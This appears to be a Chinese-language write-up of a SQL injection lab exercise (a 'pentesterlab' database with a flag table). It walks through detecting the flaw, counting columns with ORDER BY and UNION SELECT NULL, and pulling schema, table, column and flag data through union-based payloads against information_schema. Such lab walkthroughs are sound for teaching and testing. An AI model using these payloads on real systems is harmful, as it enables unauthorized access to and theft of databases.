一、寻找注入点
这个是我们的测试环境,在id后加单引号后报sql错误,所以这里是存在sql注入的。
根据错误的提示可以看出来使用的是mysql数据库。
二、猜测列表的列数
猜测列表的列数一般使用order by的方法
?id=1 order by 4
一般先假设一个数字,比如10,报错则说明表的列数小于10,然后设置为5,用二分法,慢慢尝试直到找到一个报错和不报错连接的数字即为列表的数字。
但是我这个环境无论 order by多少都是正常的返回
所以尝试使用union的方法
?id=1' union select null,null'
一直增加null,如果字段数和null的数量不一致的话会显示报错,一直增加到null到不报错,最后null的数量就是表的列出
could not to the database The used SELECT statements have a different number of columns
现在我测试得表的列数为4
三、提取数据库名
在MySQL中,数据库名存放在information_schema数据库下schemata表schema_name字段中
id=1' union select null,null,null,schema_name from information_schema.schemata where 's'='s
结果如下
4.获取表名
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中
我查询数据库pentesterlab
d=1' union select null,null,null,table_name from information_schema.tables where table_schema='pentesterlab
我们找到一个感兴趣的flag表
五、获取字段名
在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中
接下来我们获取flag这个表格的字段名
id=1' union select null,null,null,column_name from information_schema.columns where table_name='flag' and table_schema='pentesterlab
获取到两个字段一个是id一个是flag
六、提取数据
id=1' union select null,null,null,flag from flag where 'a'='a
这样我们就获取到flag的数据了。